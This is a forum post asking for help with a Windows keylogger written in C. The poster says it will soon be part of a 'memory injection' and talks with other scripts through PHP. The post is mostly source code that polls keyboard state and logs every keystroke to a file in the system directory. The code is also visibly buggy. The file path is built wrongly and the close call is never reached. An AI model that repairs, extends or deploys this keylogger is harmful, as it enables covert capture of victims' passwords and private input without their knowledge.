Me, and one of my buddys are moving from VB to C++ and PHP (for communication between out scripts) anyways, my first project, is a keylogger, witch soon will be part of a memory injection, but for now, i just need it to properly function. Heres the code:
Any idea whats wrong?
Code:
#include <windows.h>
#include <stdio.h>
int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE PrevInstance,LPSTR lpszArgument, int nFunsterStil)
{
FILE *keys;
char press,file[256];
int key;
GetSystemDirectory(file,sizeof(file));
strcat(file,"C:\Test\keys.log");
keys=fopen(file,"a+");
for(;;){
for(key=0;key<256;key++){
if(GetAsyncKeyState(key)){
while(GetAsyncKeyState(key)){
}
printf("%i",key);
if(key!=02&&key!=01&&key!=11&&key!=12&&key!=14&&key!=38&&key!=40&&key!=37&&key!=39&&key!=27&&key!=20&&key!=91&&key!=92){
if(key==9)fprintf(keys,"\t");
else if(key==13)fprintf(keys,"\n");
else if(key==8)fprintf(keys,"\b");
else fprintf(keys,"%c",key);
}
}
}
}
fclose(keys);
return 0;
}
Any idea whats wrong?